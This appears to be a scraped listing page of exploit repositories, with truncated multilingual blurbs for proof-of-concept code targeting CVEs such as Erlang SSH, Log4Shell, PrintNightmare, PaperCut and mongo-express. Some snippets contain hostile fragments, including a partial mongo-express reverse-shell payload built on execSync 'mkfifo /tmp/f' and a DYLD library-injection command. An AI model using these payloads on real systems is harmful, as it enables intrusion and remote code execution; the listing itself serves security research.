CVE-2025-32433-available-for-windows

CVE-2025-32433 漏洞信息: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC root@kitploit: kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server. options: -h, --help show this help...

Blackash-CVE-2025-33073

✨ CVE-2025-33073: Windows SMB RCE 취약점 🚨 🔥 높은 심각도의 인증된 원격 코드 실행 🔥 Windows SMB 클라이언트의 부적절한 접근 제어 CWE-284 🛡️ 주요 정보 요약...

intercept

!zreadhttps://img.shields.io/badge/AskZread-.svg?style=plastic&color=00b0aa&labelColor=000000&logo=data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTQuOTYxNTYgMS42MDAxSDIuMjQxNTZD...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

Analisi dell'Incidente SharePoint ToolShell CVE-2025-53770 Panoramica Questo progetto documenta l'indagine di un tentativo di sfruttamento reale mirato a un server SharePoint utilizzando la vulnerabilità ToolShell CVE-2025-53770. L'attacco dimostra una catena di sfruttamento completa che include...

CVE-2021-44228-PoC

CVE-2021-44228 PoC PoC para CVE-2021-44228. Projeto feito apenas para FINS EDUCACIONAIS. Servidor de exploração Este projeto cria dois servidores: http e ldap. Ambos são necessários para que a exploração funcione. O arquivo java especificado é compilado e os servidores são iniciados no Dockerfile...

CVE-2025-65753

CVE-2025-65753 CVE-2025-65753 के लिए प्रमाण अवधारणा: Gryphon Guardian एक्सेस पॉइंट, फर्मवेयर संस्करण 01.06.0006.22, पर अनुचित TLS प्रमाणपत्र सत्यापन के माध्यम से दूरस्थ कोड निष्पादन। विवरण Gryphon Guardian WiFi एक्सेस पॉइंट, फर्मवेयर संस्करण 01.06.0006.22 के साथ, ऐप के माध्यम से संकेत देने के बाद...

CVE-2023-43263

CVE-ID : CVE-2023-43263 Schwachstellentyp : Cross-Site Scripting Beschreibung : Eine Cross-Site Scripting XSS-Schwachstelle in Froala Editor v.4.1.1 ermöglicht es Angreifern, beliebigen Code über die Markdown-Komponente auszuführen. Schritte zur Reproduktion : Payload in der...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Impacket द्वारा PrintNightmare PoC का कार्यान्वयन, जिसे मूल रूप से Zhiniang Peng @edwardzpeng और Xuefeng Li @lxf02942370 ने बनाया था पूरी तरह से पैच किए गए 2019 डोमेन नियंत्रक पर परीक्षण किया गया दुर्भावनापूर्ण DLL को दूरस्थ या स्थानीय रूप से निष्पादित करें पैच अपडे...

sandbox

Concave AI Sandbox AI कोड को सुरक्षित, तेज़ और अविश्वसनीय रूप से चलाएँ Firecracker माइक्रोवीएम पर आधारित एक स्व-होस्ट करने योग्य कोड निष्पादन सैंडबॉक्स प्लेटफ़ॉर्म। स्नैपशॉट-आधारित वार्म पूलिंग के साथ 200 मिलीसेकंड से कम की स्टार्टअप समय। परिचय Concave अविश्वसनीय कोड चलाने के लिए सुरक्षित और पृथक...

CVE-2023-27350

PaperCut NG/MG RCE CVE-2023-27350 CVE-2023-27350 के लिए एक सरल बैश एक्सप्लॉइट। यह स्क्रिप्ट प्रमाणीकरण बाइपास, वातावरण तैयारी, और PaperCut प्रिंटर स्क्रिप्टिंग इंजन के माध्यम से कमांड इंजेक्शन को स्वचालित करता है। दृश्य प्रमाण बुनियादी RCE: रिवर्स शेल ट्रिगर करना: त्वरित आरंभ root@kitploit: Clone...

CVE-2024-55504

CVE-2024-55504 RAR Extractor - Unarchiver Free 및 Pro v.6.4.0의 문제로, 로컬 공격자가 MacOS에서 exploitcombined.dylib 컴포넌트를 통해 임의 코드를 주입하여 잠재적으로 원격 제어 및 민감한 사용자 데이터에 대한 무단 액세스로 이어질 수 있습니다. 재현 터미널에서 root@kitploit: DYLDINSERTLIBRARIES=exploitcombined.dylib /Applications/RAR\ Extractor\ -\ Unarchiver...

claude-code-guardrails

Wir haben inzwischen ein spezielles Produkt entwickelt, um Entwicklern zu helfen, KI-Berechtigungen besser zu verwalten, das wir als Open Source veröffentlichen wollen. Schauen Sie es sich unterstoplight.ai an. Claude Code Guardrails settings.json funktioniert, wenn: Sie mit der Bearbeitung von...

cgiemail-exploit

Cgiemail - استغلال كشف الكود المصدري/تضمين الملفات المحلي cgiecho هو سكربت مضمّن مع cgiemail، سيعيد أي ملف ضمن جذر مستندات موقع الويب إذا كان الملف يحتوي على أقواس مربعة وكان النص داخل الأقواس قابلاً للتخمين. cgiemail يُشحن حاليًا مع cPanel وهو مفعّل افتراضيًا. مثال للصفحة: root@kitploit: Success...

CVE-2023-42426

CVE आईडी: CVE-2023-42426 भेद्यता प्रकार: क्रॉस-साइट स्क्रिप्टिंग विवरण: फ्रोआला फ्रोआला एडिटर v.4.1.1 में क्रॉस-साइट स्क्रिप्टिंग XSS भेद्यता दूरस्थ हमलावरों को 'इमेज डालें' घटक में 'लिंक डालें' पैरामीटर के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। पुनरुत्पादन के चरण: 1. "इमेज डालें"...

CVE-2024-2053

लॉग पॉइज़निंग के माध्यम से LFI से RCE एक्सप्लॉइट Python3 एक्सप्लॉइट CVE-2024-2053 Artica Proxy के लिए 📝 विवरण यह Python3 स्क्रिप्ट लॉग पॉइज़निंग तकनीकों के माध्यम से रिमोट कोड निष्पादन RCE प्राप्त करने के लिए लोकल फ़ाइल समावेशन LFI कमजोरियों का शोषण करती है। विशेष रूप से Artica Proxy CVE-2024-205...

CVE-2019-10758

CVE-2019-10758 Execução remota de código no mongo-express, código do shell reverso como abaixo: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2023-34039

CVE-2023-34039 POC pour CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight Clé SSH statique RCE Analyse Technique Une analyse de cause racine de la vulnérabilité est disponible sur mon blog : https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/...

laravel-8.4.2-rce

laravel-8.4.2-rce 環境のセットアップ root@kitploit: git clone https://github.com/laravel/laravel.git cd laravel git checkout e849812 composer install composer require facade/ignition==2.5.1 php artisan serve 使用方法 root@kitploit: python3 exploit.py http://pwnme.me:8000...

CVE-2025-55182

PoC do React2Shell Este repositório fornece um ambiente mínimo intencionalmente vulnerável para testar scanners de segurança contra a recente vulnerabilidade crítica de RCE React2Shell que afeta React Server Components e Next.js. CVE-2025-55182 : Uma vulnerabilidade de execução remota de código...

CVE-2020-12753-PoC

CVE-2020-12753-PoC इस रिपॉजिटरी में 🔋📱❄️🥾🔓 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट है, जो LG Stylo 4 AMZ/Q710ULM पर Secure EL3 मनमाना कोड निष्पादन के लिए एक SBL1/aboot कमजोरी है। यह केवल अपडेट 20a और 20c पर और कमजोरी के SBL1 वेरिएंट के साथ परीक्षण किया गया है। root@kitploit: - Makefile : Builds...